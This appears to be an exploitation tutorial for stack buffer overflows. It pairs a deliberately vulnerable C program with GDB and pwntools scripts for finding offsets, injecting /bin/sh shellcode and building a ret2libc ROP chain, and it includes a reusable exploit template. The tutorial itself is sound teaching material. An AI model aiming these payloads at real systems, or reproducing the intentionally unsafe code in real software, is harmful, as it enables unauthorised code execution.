Buffer Overflow

Overview

A stack buffer overflow occurs when a program writes more data into a stack-allocated buffer than it can hold. The excess data overwrites adjacent stack values — saved registers, the stack canary (if present), and the return address. By controlling the return address, an attacker redirects execution to arbitrary code.

ATT&CK Mapping

  • Tactic: TA0002 - Execution
  • Technique: T1203 - Exploitation for Client Execution
  • Tactic: TA0004 - Privilege Escalation
  • Technique: T1068 - Exploitation for Privilege Escalation

Prerequisites

  • A binary with a stack buffer overflow (e.g., strcpy, gets, sprintf with unchecked input)
  • Known or discoverable binary protections (run checksec)
  • GDB with pwndbg for debugging
  • pwntools for exploit scripting

Vulnerable Code Example

// vuln.c — compile with: gcc -fno-stack-protector -z execstack -no-pie -o vuln vuln.c
#include <stdio.h>
#include <string.h>

void vulnerable(char *input) {
    char buf[64];
    strcpy(buf, input);    // no bounds checking
    printf("You said: %s\n", buf);
}

int main(int argc, char **argv) {
    if (argc > 1) vulnerable(argv[1]);
    return 0;
}

The strcpy call copies the entire input into a 64-byte buffer without checking length. Any input longer than 64 bytes will overwrite the saved RBP and return address.

Finding the Offset

The offset is the number of bytes from the start of the buffer to the saved return address. Two common methods:

Method 1: Cyclic Pattern (Metasploit)

# msf-pattern_create
# https://github.com/rapid7/metasploit-framework
# Generate a unique cyclic pattern
msf-pattern_create -l 200

Run the binary with the pattern in GDB. When it crashes, the value in RSP (or the faulting address) will be part of the pattern:

# GDB
# https://www.gnu.org/software/gdb/
gdb ./vuln
(gdb) run $(msf-pattern_create -l 200)

# After crash, check RSP or the segfault address
(gdb) info registers rsp
# msf-pattern_offset
# https://github.com/rapid7/metasploit-framework
# Find the offset from the pattern value
msf-pattern_offset -q <value_from_rsp>

Method 2: Cyclic Pattern (pwntools)

# pwntools
# https://github.com/Gallopsled/pwntools
from pwn import *

# Generate a cyclic pattern
pattern = cyclic(200)
print(pattern)

# After finding the value at RSP
offset = cyclic_find(0x61616166)   # example: 'faaa' = offset 20
print(f"Offset: {offset}")

Method 3: Manual Calculation

From the disassembly, calculate the distance between the buffer and the return address:

# GDB
# https://www.gnu.org/software/gdb/
gdb ./vuln
(gdb) disassemble vulnerable

Look for the sub rsp, <size> instruction in the prologue. The buffer starts at RSP (or an offset from RBP). The return address is at RBP + 8.

For the example above: buffer is at RBP - 0x40 (64 bytes), so the offset to the saved RBP is 64 bytes, and the return address is at offset 72 (64 + 8 for saved RBP).

Controlling the Return Address

Direct Shellcode Execution (NX Disabled)

When the stack is executable (-z execstack), inject shellcode directly:

# pwntools
# https://github.com/Gallopsled/pwntools
from pwn import *

context.binary = './vuln'
context.arch = 'amd64'

offset = 72    # buffer to return address

# Shellcode: execve("/bin/sh")
shellcode = asm(shellcraft.sh())

# Find the buffer address (from GDB: x/s $rsp after breakpoint)
buf_addr = 0x7fffffffe100    # adjust for your environment

payload = shellcode
payload += b'A' * (offset - len(shellcode))
payload += p64(buf_addr)

p = process(['./vuln', payload])
p.interactive()

ret2libc (NX Enabled, No PIE)

When NX is enabled, return to system() in libc instead of injected shellcode. On x86-64, the first argument goes in RDI, so you need a pop rdi; ret gadget.

# pwntools
# https://github.com/Gallopsled/pwntools
from pwn import *

context.binary = elf = ELF('./vuln')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

offset = 72

# Find gadgets and addresses (no PIE = fixed addresses)
# Use ROPgadget or ropper to find pop rdi; ret
pop_rdi = 0x401234      # replace with actual address from ROPgadget
ret     = 0x40101a      # ret gadget for stack alignment

# Need libc base — leak or disable ASLR for testing
# With ASLR off: libc base is constant
p = process('./vuln')

# Build payload
payload  = b'A' * offset
payload += p64(ret)             # stack alignment (16-byte)
payload += p64(pop_rdi)
payload += p64(next(libc.search(b'/bin/sh')))
payload += p64(libc.symbols['system'])

p.sendline(payload)
p.interactive()

Finding Gadgets

# ROPgadget
# https://github.com/JonathanSalwan/ROPgadget
# Search for pop rdi; ret
ROPgadget --binary ./vuln --only "pop|ret" | grep rdi

# Search for ret (stack alignment)
ROPgadget --binary ./vuln --only "ret"
# ropper
# https://github.com/sashs/ropper
ropper --file ./vuln --search "pop rdi"

Stack Alignment on x86-64

The System V ABI requires 16-byte stack alignment before a call instruction. If the stack is misaligned when calling system() or other libc functions, the function may crash with a segfault on a movaps instruction (which requires 16-byte aligned operands).

Fix: Insert an extra ret gadget before the function call to adjust the stack by 8 bytes.

Debugging the Exploit

# GDB
# https://www.gnu.org/software/gdb/
# Run under GDB to debug exploit
gdb ./vuln

# Set breakpoints at key locations
(gdb) break vulnerable
(gdb) break *0x40116b        # ret instruction

# Run with payload
(gdb) run $(python3 -c "print('A'*72 + 'BBBBBBBB')")

# Check if return address is overwritten
(gdb) x/10xg $rsp

# Verify RIP control
(gdb) si                      # step to ret, should jump to 0x4242424242424242

With pwndbg:

# pwndbg
# https://github.com/pwndbg/pwndbg
# Inside GDB with pwndbg:
pwndbg > cyclic 200             # generate pattern
pwndbg > run <pattern>
pwndbg > cyclic -l $rsp         # find offset from crash

Full Exploit Template

# pwntools
# https://github.com/Gallopsled/pwntools
from pwn import *

# Configuration
context.binary = elf = ELF('./vuln')
context.log_level = 'info'

# Offset to return address
offset = 72

# Connect to target
# p = remote('target.com', 1337)   # remote
p = process('./vuln')               # local

# Build payload
payload  = b'A' * offset
payload += p64(0xdeadbeef)          # return address (replace)

# Send payload
p.sendline(payload)
p.interactive()

Common Unsafe Functions

Function Issue Safer Alternative
gets() No length limit fgets()
strcpy() No length limit strncpy(), strlcpy()
strcat() No length limit strncat(), strlcat()
sprintf() No length limit snprintf()
scanf("%s") No length limit scanf("%63s") with width
read() Safe if length correct

References

Tools

MITRE ATT&CK